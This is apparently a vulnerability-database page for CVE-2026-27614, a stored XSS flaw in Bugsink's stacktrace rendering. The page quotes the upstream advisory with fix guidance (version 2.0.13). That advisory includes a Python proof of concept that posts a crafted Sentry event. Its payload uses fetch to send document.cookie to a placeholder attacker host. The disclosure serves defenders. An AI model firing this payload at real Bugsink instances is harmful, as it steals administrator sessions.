HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 27614 bugsink is vulnerable to stored xss via pygments
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Critical · CVSS 9.3CVE-2026-27614GHSA-VP6Q-7M36-PQ3W

Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace renderingCVE-2026-27614

Answer in brief

CVE-2026-27614 records a Critical severity (CVSS 9.3) vulnerability in Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering. The current sources do not mark it as known exploited. The current feed maps bugsink (pip). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Feb 25, 2026Updated Oct 27, 2026Source checked Oct 27, 2026First seen by HOL Oct 27, 2026Material review Oct 27, 2026
Upstream Advisory

Record context

Vulnerability class
XSS
EPSS
Not reported
CWE IDs
CWE-79
Source
GitHub Security Advisories
Source checked
Oct 27, 2026
References
7 linked sources
Open source record

Key facts

Risk
Critical · CVSS 9.3
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 9.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps bugsink (pip). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
bugsinkpip<=2.0.122.0.13

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for bugsink.
  2. 2Review the reported fix. Update bugsink to 2.0.13 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Feb 25, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 27, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 27, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencepypi.org
Upstream source description

### Summary An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI. ### Details When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event. ```python # issues.py:75-77 - fallback path, no escaping if len(pygmented) != len(lines): return lines # raw HTML returned here # issues.py:111-113 - unconditional mark_safe return [mark_safe(line) for line in result] ``` ### Operational Signals Exploitation attempts are likely to generate the diagnostic event: ``` "Pygments line count mismatch, falling back to unformatted code" ``` Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors) may see this message as an issue. While the condition can occur benignly, unexpected occurrences, especially from unusual languages (specifically ruby), warrant review. ### PoC Send a Sentry event to `/api/<project-id>/store/` with a valid DSN: ```python import requests payload = { "exception": {"values": [{"stacktrace": {"frames": [{ "filename": "app.rb", "lineno": 2, "pre_context": ["<<~HEREDOC", " foo", "HEREDOC"], "context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>", "post_context": [] }]}}]} } requests.post( "http://bugsink-host/api/<project-id>/store/", json=payload, headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"} ) ``` Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately. ### Impact This is a stored XSS vulnerability. Successful exploitation requires: * The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it). * The Bugsink ingest endpoint is reachable to the attacker. * An administrator explicitly views the crafted event in the UI. Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • Stored XSS in KGS Software tia ViewerAlso CWE-79